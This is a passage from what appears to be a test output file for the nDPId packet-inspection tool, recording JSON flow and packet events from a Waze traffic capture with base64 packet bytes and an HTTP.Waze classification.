AYAQwBZgGZA5P2j8sBOhZ+v5AgDKAgj\/637rf+QCs\/4gMAj7X7giAQA1B\/1MBdgCC\/\/gVv\/H1gAw\/\/AIBf\/9\/9AFBMz+BP\/7oBuAGOgz\/3K88BIhT+35gQD5AxkAYX4hf6YEa\/0AIBF533gsAwA4P\/eUBpgC4\/mQdcBFxf9Bd+gICf\/8P9AFBLp96P\/ogCDwGRgt73j9OBEBM+\/6AQF2BCwAuH2Tf1IFE\/1APBf430A0BAA37\/dcBeQDJ\/XAjoC7u34xp+gKC\/\/6f9AFBLr+B\/\/RgCPAGUAnX369khAhC\/H7AAGUBTgBNHzGfxQG0\/xgKCB3fvg+BQAx3\/GQBfQEO+7gqkFPrH0SF+QKDv\/4v9AJA8cNAQWP\/40Ae3\/p\/+tQJ\/BK\/eP3APAK+3\/83vzI+lYCIwPW\/4f9gSfP9QFIP\/L\/8sgDD\/Bj+V\/RX+iFvBZ0X+h3yfcAJ8AgAgVH\/ygATx\/3H\/EoJPA7\/fP4gOwI+\/\/9gf0O+6OCRwLM\/mABIUvMdkFwNfD\/4jgD7\/SL+8fSz\/eFTAo1IEhnx\/sAKQAgAgUMfvUAIKABP\/b4I4Ar\/fP6IOwH+\/\/+Hf0o\/OiCRYIx\/XQAYWPN9yGIL\/D\/2Bf\/H\/br\/lPVgALE1gJ1sHBfy\/0AKkAgAgS9\/qt\/+wAK3\/x4IiAbvfX8AOgF+4D+7f4i\/mAB7wD8\/RgEIV\/QeOGAI\/D\/zpgBX\/tAAH\/bkAnD7fl3kLBL0AAAK0AgAgSB\/px\/1wAP4AGYIqAK\/ef94OwD+4D\/rP70\/7kBcgBG\/QADAVPXekFgG\/H\/zyf+A\/18AqPjEA0DBfU5ILA\/2gEALIAgAgQ3\/nx\/v2ATcAYQI3\/6vdf\/4PAB+4AAkwCVASmAnv8N\/ZgGYSfgfEEgD\/T\/09gB4AFgBCvtgAuBtfC78Mgn5gMALYAgAgQF\/pX\/rAASgAngJh\/q\/bYB4Pv\/+4ABVwH7AmL\/s\/5k\/mAE4Pfs\/aDICff\/5TgABAMQBYf4wAeAf\/C+QKgb9AIALsAgAwPLfpf\/poAQ0AzAKM\/cvZgDwP\/8+4ACLgQJA5f+gf1N\/9gHwLP5\/2Bn\/\/v\/\/MgFTAZQBiQF7\/+++fBBoJgABAEAMAAgAwOs\/sV\/pQAMMA7oLL\/QPW4FgQ\/6+4ECzQW5BH99V3zWAUAF4HQIgH\/3+\/4AIagEfAeIBpgSj\/e9q\/NEMGf4E\/8AMQAgAwOH\/sp\/r4AJQBAgMB\/F\/UgHARf4+4EDaAfcBVF8AXv+AzAIoCwWAZ939AMATGAKeAqIBlAfb+18LfYHoD\/kI\/0AMkAgAwN\/\/ub\/uqAGEBDANA+9vRwIQSf2+4EDugl2Bc362fvKBLgHH\/wjgf8P9AYAgoAJxAvUBgAqX+Y7B\/nJ8A\/gL\/oAM4AgAwNw\/sn\/zUAHEBCwNo+4vPoJIS\/0+4ED\/AtSBjL5pns6BpQKP8wuAn6f8goAu6APYA8sBSQ0L975x\/xM\/+\/QOfcANIAgBAN9frX\/2wAJ8BBYOP+1PNQJ4T\/z+wID8AyCBkp4xXtGB7AJX8A2Aj5X9AwA\/BgNrBEYBHw7H9149f5Or9fMPfQANcAgBAN\/\/mJ\/62ASMA+YOY+1PMAKAUfz+wID1w3QBlh37vrwCPQNf7Q6gh4P8g4BOvAR5BUoA4BAP904Ff5Q\/9+8QfIANsAgCQPHDgIGBv5LgIKgMoAJP\/zPjz\/aDuAX8v+AASUHGgBUexsA9AXz9QIz4nFheEf1AALv82gNH\/ukA+EJvgGQxeHX9DHx\/8SAgAIF3\/75gGkgHhAKf\/xfkoAGDiAD9AAAACgF6\/+3e++BWQTX9yHv2\/NhkD31\/\/Kf9hQKe\/yMCGDovcefhjGX+Cfw\/8jAgAIFt39zgFFgDSALX\/rPloA2DX\/z9QAA\/6IEvf8ofLSBgARr+sGH1vVBmDf1\/+Tf9JAGz\/3EDcDIPa+sBhF4AB3w\/80AgAIFgQASADxf\/HAM7\/ivmAB0DP\/X9gCA\/vUDEv71\/eYBmgLD\/IE71vfBgCv2\/9pX+QQED\/6QDkCaPdnAxZEX\/BPy\/9FAgAIFS4BtACpf8OAN\/\/VfmUCyDJ+\/9wCA\/tEBdP7gfvoBcwHf\/2DT2PnhWCP3\/9ZP+TQAp\/+sD2BuPiPSRLDYAAv0\/9VAgAIFDIDhABq\/5wAPz\/GfmAD6DH+j9wH\/\/pX\/cv8xAGeBNP\/QAGCT4HxhCBX5\/9kf\/xf+bABQC4A3fq3qw3Bf+AP5\/9mAgAIE0gEIgAy\/4tARJ+zfloE+DH+H+AH\/\/uX9lf+dAZ4AvP60AmA36P5AuA37\/+UoAD\/7zAFkCJAFP0X+wgAP9\/39\/93AgAIEkIFGf\/3f4CATZ+gfkoGIDN9r9wJ\/\/xj7dgBmAxKAL\/ygAsAH9YBgQAH9\/\/ngBof6dAIYAW\/LwBAYAF+H7\/oE\/+IAgAIEVYE5\/+zf4iAVZ+L\/jkHIDT9T9wL\/\/8X5mgEzhDP\/fvuwA9+4AgHf3\/v\/ABg4B3P4yAN3\/B+ZwM4rPq8v5\/gJ\/+YAgAIEFgFM\/9Zf5CAYf95\/h4IGDd879gMAADv3oAJChXf+xfoAA5+UEYM\/X\/ICAD54DNf4PASb869jgahB\/O6v1\/oQ\/+pAgAID3gEjf7nf6KAbd9pPgUI0Dn8v9QMAAQj2AwMvBlB+CPmkA\/9IHgP+\/\/AEAGwIDD\/3PAaX7o82QlJRe45vy\/oV\/+6AgAIDowEpf5T\/6wAfp9dPeUJcDz8f9AMAAXr0ZQQ2hzr9V\/ikA38cLATel+oGAJ4YD6\/3FAhn548HAwBjuj4Hv\/4a\/\/LAgAMDcIECf2j\/7cAjr9UfckJwD\/8b9AMAAh3zMwTyB7F8xPkMA17ENQU+X+wGANMIDN\/2TAsj5R7hg2BueX3nsAAd\/\/bAgAMDPYEZ\/zVf7OAox9RfakJ+EH8X8wMAAkfyDgWkCDd8UPjQAp6IPgW+J+oHAQeYDg\/2HA2T4a66w7h7+O2foAIh\/\/sAgAkDxw8CBZx\/KP+HABcv9tAF4GV\/b\/FgUBL+fvq5AIz4sgBgBIj+R+kCgDlzXnhSDf\/6b\/\/T\/uwD59+fCAMiYrh9kMAt5QAOQOACBYP\/N\/+GgBQ\/+HgJcF0\/RfKAXBD+fvulAGb6M4DDg3L9y+4ibC5zvshOCf\/neAJj\/rwD5+J\/LYMEUTiuGLQh5wAVQOACBYL\/Rv+FYA8f+VgOUFc\/EfNgbA\/+f\/y7\/\/f7uID\/grn9p+\/iOCZ0nwhKBv\/ap\/6n\/dAEV+W\/UkLMQ3keaKQX6gAcgOACBWr\/aH+RQAnf+ZgTMFF+1\/SAgA39\/\/38AFP9loEHAVz9v\/Zh5Br2X1g+A\/\/RKAJX\/eQDu+yvgUJELnpPAIQL7wAjgOACBW7\/hv+fAAJ\/+OgZQE6+lfUglAz9\/\/9XAGj\/XoDnAGv+J\/mBcBJ4P5AyAv\/Q5\/+\/\/VADY\/OfrcGwHbuPYGAF9AAqgOACBV9\/sf+6v\/uv93ge8Ex+U\/XgqAr9fwDHATsBX4CQfun+1AFA4Af7H9ggAP\/WwAST\/cAB8\/1\/4YDUBz2P+DP9+wAxgOACBW3\/zv\/W\/\/Pv9TAlUE0+DfYgwAn9AAI0AbcDKIAffen\/uAUgRAF9wAAR\/\/\/nWALj\/agAzAZgEQAF9b9QUAf4AQA4gOACBWr\/7n\/+H+4\/8mgq0E69y\/aA2Aj8gAOYAtAFCH+D\/HIA0A0\/m\/iBADf7\/v\/+yAhf\/q\/+sBDwRL8D30Gw39P2CQA\/wOACBYV\/8gAhH+k\/7zgwQFJ9i\/Zg8Af8gATZA3YGkH7p+5MB3BEe\/\/QD4E\/p\/wAgGAbb\/1v9FBkwcb4vzsORL6f2DwBGwOACBYx\/7wBI\/+ff7Ag0EFZ9V\/ZhBAf8AAXzBI0IFH48elQC\/BieZ+4G4GfV\/wBGYAwMASP6wCHAoH1DusXRr3P2FgBNwOACBa7\/yYBmX+hf6Pg3YFw9LfXhFAf8AAbTBQ4JMH2yeb0DzBud8+sJIG\/IAABzKAmkAp\/5MCbgx3ylrMcx71P4GgBUwOADBbv\/nQCC\/+0f5lg4oGD9EfWBIAf7gAd+BdUKPv0veNIEjCH9k+aLQIe4AACguA2ABQ\/3OCtg7zwFm4jSXy\/4HwBcAOADBeJ\/UoCQv\/N\/5Eg5MGb9AfThKAj7gAfqBegK5\/zveJIEwCN9Z+QMYI+yAQDPsAlcBwP2OCwBDzvJkAlilx\/6IgBjAOADBfN\/DgCbf\/zv4ug30Gs9A\/RhKAn7gAgpBiMLjnzId\/sE5ChdR9+NYKeqAAD6MAtICYP0+CwRMDuPgYoS9wv4JQBqAOAJA8cQAgU4AQMAOAAR8Bg\/v89ewzYUXuPtA4H\/x\/7D\/32AvwAS\/wQDP0P8BQAH6f\/\/6Vf9MABkACP2AEcAk+K\/IGgMEf4AH4AwAgVIgQ+ATYAN0Bh3ve9Ww1QVntvrA4H\/yv9c\/2UAXgAT\/3ADP2f6A+AX7\/\/\/54\/86AAb\/6P1gDQAses\/AEAID\/8AIQAwAwVQgT6AYQAKEBh\/vO9QQ2QWftvqAwH\/qQBK\/0Z\/0wBwAJP\/32\/4gsBH9\/3\/7KACM\/5X\/xP1gBtA7fZ+IAAMDAEAIoAwAwVZgSmAbMAJABlnvF9IA2oXvt\/oAwL\/rgCx\/0t\/lIBVALwAv5v4AaBH+\/7\/8UABL\/8L\/wv2EAnA2f2+b+AECgIAJEAwAwVbgT4AdOAHQBoPvQ9Cw2IYXufoAoL\/mAFe\/05\/PICVAXf9\/6\/4AKBQAf3\/+6gFY\/4X\/vv3n\/TA3gZ+D8AICAMAJcAwBAVfgRgAdKAHIBtXvi88g1AZHu\/nAoL\/swFv\/39\/OABUATv\/n+v5\/6A4Bf8AA7ADL\/97\/2v6L+iAjAq+\/7\/8BAMAJ4AwBAVegSWAcMAFMBwnwK86gzIZHv\/oAgH\/vQG8\/7P\/JABvAXP9IAv8\/uAwCf8AD2AF9\/77\/8\/979sAUA9\/H7AAAAMAKQAwBAVhAQKAZeAD8B0\/w385Aw4ZHw\/oAgEAAgFkABz\/YoABAMv\/AEgB\/f\/4CgEAFgACZACoAIQC\/9c\/uhAAn8f3+gIAKoAwBQVhARoAWYAAMB2Px388guAYPx\/qAYEAOwFMAIx\/kn\/xAI\/8oHAI\/V\/QDAIAHZgD2ABAARAJL9L\/QBBBT9\/79AEALEAwBQVnAQYAST\/84B3Xy19BgrYXXyvrAYEAsQCSATGAB\/9U\/5f+oLgQ\/H+AEAUAHT\/\/OAH0AcQQb9g+dA1DIAfv7f8ALcAwBQVsAS8AOj\/3IB0Hz99LwogV3zftAYABGQAuAdmAZH8a\/xv8QOAae99AEAcAG3f\/zAFwAigYT9090goEIDfz5\/0AL0AwBgV3gSqAKn\/yYBv3079XgmQUPz\/vAYABuP85ArMA8v5U\/hv+YSQket7oFAoAD4f6sAMMAoQgv+n86gTGMGfr3foAMQAwBgWDAV8AHp\/r4Bm\/159oAkIR\/0PxAYACQP67A4QBV\/38\/aP8QUguej6oFAwAANf7DAJsAoQoz\/U8Q\/+HMJ\/v1fgAMoAwBgWTgWIAE7\/nQBdH"} +00936{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":160,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":468076,"pkt_caplen":447,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":447,"pkt_l4_len":413,"pkt":"ABoRAAACABoRAAABCABFAAGxdLlAABAGz\/I25uOsCggAAQBQser0eNbRC4cpz1AY\/\/+MTAAASFRUUC8xLjEgMzA0IE5vdCBNb2RpZmllZA0KQ29ubmVjdGlvbjogY2xvc2UNCkRhdGU6IE1vbiwgMjkgSnVuIDIwMTUgMTQ6MjQ6MzIgR01UDQpDYWNoZS1Db250cm9sOiBtYXgtYWdlPTMwMA0KRVRhZzogIjZiMjRjYTNmMGI1MDVlNWU1ODQ1YmMxYWQ3ZjdjODM2Ig0KeC1hbXotc2VydmVyLXNpZGUtZW5jcnlwdGlvbjogQUVTMjU2DQpTZXJ2ZXI6IEFtYXpvblMzDQpBZ2U6IDIyOA0KWC1DYWNoZTogSGl0IGZyb20gY2xvdWRmcm9udA0KVmlhOiAxLjEgNmE1YzgwMGM3NDYxMzUyY2YzYzBhYmQ0Y2E3YjFjNzAuY2xvdWRmcm9udC5uZXQgKENsb3VkRnJvbnQpDQpYLUFtei1DZi1JZDogZU56VVBqeXprcjlzNnRWWmNNU2h2WHNwYTVqenctN052eE1NZktiYTZQYjBYVWRqNUIzVVZRPT0NCg0K"} +00409{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":161,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":469063,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozN9AAEAGojkKCAABQSeAh9aDAFDjx6hcHDieJFAQ\/\/\/GyAAA"} +04289{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":162,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":469514,"pkt_caplen":2687,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2687,"pkt_l4_len":2653,"pkt":"ABoRAAACABoRAAABCABFAApxdLpAABAGIBZBJ4CHCggAAQBQ1oMcOJ4k48eoXFAQ\/\/\/uhgAA2i95AjAP30PzAgAC8\/3JBHsB1f0c\/Nv+oXw3+T5YGg\/\/5z\/2IAP8AmgwkAV7afoJIM\/nzfcANAAwCQPHEQQFKoBqgG1AA0AI\/+H\/oAGsDP9T8wMAAIICPABKfsH\/1AD4AAHX\/XVgIDAA\/\/Nv\/9P\/x\/x3\/cCPgEXHP6DADCP9ACC\/EAUFKQBbAFxgBwAJP9xPpQHoDD9H9QMAALcCqwBc\/lz\/yAIMAAHD\/XTAKDYA\/\/Z3+4P\/q\/1H\/YCcQEe\/f6D4DCP8ABj\/EAcFIAB3gEtgCWAKX9bPpoIqC78z9QMAAIYCgwBxfmZ\/7wHv\/cG\/\/3TgKDYA\/\/XP\/LwAn\/3j+pCZAFHAv+DoCCP8ABF\/EAgFFYBjADwADdALN9Efp0JkC18n9wMAAJQCXgBLfl8ADQJ7\/OGP\/3UgMDf\/\/\/Qv+ZwAy\/7X+mCVAEnAQBEABCH8AAn\/EAkFAwCDgC0AD5AM78wvpMKgC18X9wMAAEIBpAA1fsoASgHH+qFwAfZAMDH\/\/\/Iv\/DABp\/9\/97CAgFHJQFDX\/B38AAI\/EAoE8IB8gCFgEeAOP8efoYLQC18L+AMAADQA8v\/w\/yCAcwHL+gEsAvdgMC3+\/\/Kf+oQBeAB3+EBrgEPQgIDP+Bf9\/\/q\/EAsE2AC0ABgAECAQP8Q\/m0MAC773+AMA\/8\/\/wv\/M\/92AogCX+KEABXlAGCP+\/\/Y\/\/pgBqAD\/9qBIQE3gQJB38BP+\/\/M\/EA0EwoDIgBSADfARj8G\/lMMgDD7v+QN\/\/7b+t\/+IAHQAtAAr+WC0BnrgEBv+\/\/93\/mQArAG3+JAnAD3tQJBP7AoA\/+u\/EA4ErAEcgBWAB6ATR8CvjIM+DP7j+AP\/\/1P9V\/9zAVsAu\/6j+eCMCPz\/6A\/\/AA64A9f\/7AHP+J\/7gEQBQH\/n5AQC\/+P\/EA8EnQFIAB5gAUAT78CPhUNIDb7f+AP\/\/0j8Rf9HAf+Ao\/4L\/GBICP6f0AgAACWQBMf+KAH\/\/E\/WACwQQF+v5\/4E\/9x\/EBAEkYGpACzf9\/AUv8G\/fYNODp7X+AP\/\/v\/7D\/9SgteAePxz\/uA0CoA\/r\/4BAEOICxP82AFv\/d+rQC4kgB8\/4\/oH\/9T\/EBEEkIHTAEM\/8EAUN8OfeENEDz7X9wP\/\/xf6T\/9Hg1EAOfvsAqAMCQFfl\/oCAGjwDHv68AD0Au+KwAQyP\/8H4\/YI\/80\/EBIElgIjAF1f58ATr8ZPc8M2D97X9wR\/\/vn5k\/90A+T\/7PqQBkAYCQJfd\/QEAJRwEsv55\/+4BY9pv\/JCv76n4\/YK\/8W\/EBQEpwIsAH0f4uARx8kvcwMaED7f9gR\/\/z35Z\/+ChAX\/n\/pkCmAQBYKfb\/IFAMUgE7v4x\/60C09Vf6xLf+6H5\/QL\/74\/EAkDxxIBBon\/U3\/qAABv5LgakJ6+0e0gOA8BAAAoAjH\/av+Lf+gAWAP\/9A9\/33gCBf\/Q0ANEAo\/96AjvxP9KFoGPj+gOAf\/+v6ABBnJ\/b\/\/nP\/xv48Ac4KQ+teyAQBABAACsAYsAkf+Q\/y4AxAgf0AUAX7\/8Av\/USAVoAQv8\/AkP6f9ACEHv\/9wCA\/\/7\/6ABBkZ\/gH\/qP\/iP41AfMKg+oevARBEBAAFeAYQBO\/+cftkAvAhfxAEAf+f8Af\/cMAUUAOP9ZAk\/\/j9OAEHAJ9\/+BP\/4\/6ABBjp\/e3\/kn\/hP4vAgQKt+ketATBIBAAGDAQEB4v9\/\/nUBPAq\/p\/sA4A\/5\/\/\/rsAacAAv8rAgAFf9T94HwZ9f4Bf\/2P6ACBhd\/bX\/e3\/hP47AhQKw+h+rgTBMBfwHEAPoB+3+EfoQBGAjft\/uAoA\/7\/\/\/78AVQAG\/9mAYAGr+H9gFwZ9v4Bf\/zf6ACBhN\/TP\/Lv\/uf5OAg4Kr+hergTBMBfwFrAFcCB395fpIBaAh\/v\/qAYBf7\/wAPSAV3\/+P9mAJQIT+\/9EEwb9\/2BP\/wf6ACBfb\/LH+1f\/6\/54gggKb+iesgTBQB\/wEwAAsBiP+s\/xIA5AP\/\/\/9\/X\/gEAAAeOAKQAFv\/Y\/1AFMA5+UAAN\/f6Av\/tv6ACBfn\/An+RQAQ\/6qAe8KD+k+vASBMB\/wBk\/wYBC\/\/p\/4wAwAEAOAH9\/+gMAQAq4ADr\/4gAQ\/ZgC8DB\/j8AEAf7\/\/\/q\/6ACBeX+5f9sIAhf7wgdgJg+oexgQBIB\/\/\/R\/jsAH4B9AGP\/q\/qAtAf7v8gaAgAt1\/xn\/3gC1+4\/84GSCD0PwC\/\/+v\/n\/6ACBfL+yf89oA1v83gbYI3+se2gPBEBgP7P\/Kb\/WoEpAR3+9\/aBJAn5f8AqAgApr\/lH\/cgER+Tv4sJuEDtfkE\/\/9f\/lP6ACBen+x38T4A+\/+LAZ0IG+w+7gOBABgP4x+0L+VII1gg79Q+\/ByA32X7g+AQAX7\/PD\/LgHK9qvyAOKGzifQIP97\/\/if6ACBgL+yn7nYBGP\/VgYAHU+0\/BgNA4BgP1O+Rn9pwNYgsD8A+xCSAvzn9BR\/\/\/8n\/Ab+ewIl9BvugScIjZvIKf36v\/ff6ACBgR+6f7FgA\/AAkgXUGd+3\/HAMAwBgPz99yz87ATTg3\/50+dC9AlwX\/Bn\/P\/Sp+qv9+ALM8Yvp4XYKbNu+Nvv5P\/cv6ACBiP\/Cf6lIA0ABjgW0Fr+5fNgMAoBgPyL9Jj8t4ZQg9\/4N+XjZADtwDh1+f+f1+eH9EgMI71PpkboK7EvAPfj4f\/Z\/6AJA8cTAQJkf7r+TWAQ0BhQH+AbPeP7IQAB+oH9lgBU\/0d\/n4F3\/lfeYfxCeD6QOg7\/8I\/3sAAoEfP0\/2JAyDh87jBwJ\/EAJL9wAgME\/9z+rKAL4BKwJNAWPan8YRf\/+gH9kwAt\/pB\/pQHN\/uPhwdw\/+B6AOA7\/9t\/3e\/40Dj\/z71tA8D583hhwJ\/AAID9wAgOPf+D\/GMAIIAxgKZAR\/W\/9oS\/++gL91QCN\/kv\/vQFt\/yvqYbA3+H6gNAz\/9gf+M\/4ACbP1H2IA7Du9LlhoIfAAG79wAgQt\/+5\/gsADAAVAL0ARfS3+QUP9+YL+PABG\/ib\/3AFk\/6\/wAXAw+N6wLgv\/9pf+s\/yMBWP1b2zA9Dq9bnhgHfEAFv9wAgSq\/9r\/8j\/\/j\/3YNIAR\/O\/+4Vf8+YL+5ACN\/nh\/\/YCl\/\/\/6gSAk+f7oJAn\/85gGB\/z0AIf3\/4TAyDD+HuBIE\/QAEn9wAgUwf9AAVn\/6z\/ZAOlAWPK\/+4Wv8+YL\/pABA\/uQAHgBGAIABILwa+x8QHAf\/9cAGt\/wz\/EP5z6CAqik+ryA0DfcADf9wAgWKf6sAt5\/3f+7gP2AbPHn+4Xv8+YIAkgCG\/7gAMf9AAOgMIEwNfP9YDgX\/+FAN\/\/0r98f938cAVBl\/z6gUBfsACX9wAgXlf5aBBd\/yj+fwRMAjPEP+YYf9+YIBfwBGAI8APf6wAXwSX8wC\/r+IAgQAA3AOL\/zT9DABD+6AEgyAn\/\/7\/\/8ABP9wAwYRf3WBSt\/uT+HISOArPBv+AY\/9+YICgQCZAauAMH2UAhAb30v2AP\/P8gIAEiAUt\/3X8LAGMB0\/n\/lB4IfT+AUAAH9wAwY+f3SBed\/nj9w="} +00409{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":163,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":469776,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoRGtAAEAG0ckKCAABNubjrLHqAFALhynP9HjYWlAQ\/\/\/W1AAA"} +00410{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":164,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":470699,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLtAABAG0Xk25uOsCggAAQBQser0eNhaC4cpz1AR\/\/\/W0wAA"} +00408{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":165,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":471104,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAozOBAAEAGojgKCAABQSeAh9aDAFDjx6hcHDiobVAQ\/\/+8fwAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":166,"source":"waze.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1435587872476,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45552,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":166,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":476294,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8WSJAAEAGvP4KCAABNubjrLHwAFDxQTSmAAAAAKAC\/\/\/drgAAAgQFtAQCCAoACG2EAAAAAAEDAwg="} +00409{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":477714,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodLxAABAG0Xg25uOsCggAAQBQsfAOvstZ8UE0p1AS\/\/\/Y9QAA"} +00410{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":477861,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoRGxAAEAG0cgKCAABNubjrLHqAFALhynP9HjYW1AR\/\/\/W0gAA"} +00410{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":478272,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodL1AABAG0Xc25uOsCggAAQBQser0eNhbC4cp0FAQ\/\/\/W0gAA"} +00410{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":478463,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodL5AABAG0XY25uOsCggAAQBQser0eNhbC4cp0FAR\/\/\/W0QAA"} +00409{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":478810,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoWSNAAEAGvREKCAABNubjrLHwAFDxQTSnDr7LWlAQ\/\/\/Y9gAA"} +00407{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":172,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":478908,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGFjUKCAABNubjrLHqAFALhynQAAAAAFAEAACjswAA"} +00615{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":173,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":479232,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABoRAAACABoRAAABCABFAADAWSRAAEAGvHgKCAABNubjrLHwAFDxQTSnDr7LWlAY\/\/9RbQAAR0VUIC9sYW5ncy8xLjAvbGFuZy5wb3J0dWd1ZXNlX2JyP3J0c2VydmVyLWlkPTE1IEhUVFAvMS4wDQpIb3N0OiBjcmVzLndhemUuY29tDQpVc2VyLUFnZW50OiAvMy45LjQuMA0KSWYtTW9kaWZpZWQtU2luY2U6IFdlZCwgMTcgSnVuIDIwMTUgMTQ6MDk6MzggR01UDQo="} +00673{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":173,"source":"waze.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1435587872476,"flow_last_seen":1435587872479,"flow_tot_l4_data_len":252,"flow_min_l4_data_len":20,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":63,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"54.230.227.172","src_port":45552,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Waze","breed":"Acceptable","category":"Web"},"http": {"hostname":"cres.waze.com","url":"cres.waze.com\/langs\/1.0\/lang.portuguese_br?rtserver-id=15","code":0,"content_type":"","user_agent":"\/3.9.4.0"}} +00409{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":174,"source":"waze.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1435587872,"pkt_ts_usec":479402,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAodL9AABAG0XU25uOsCggAAQBQsfAOvsta8UE1P1AQ\/\/\/YXgAA"} 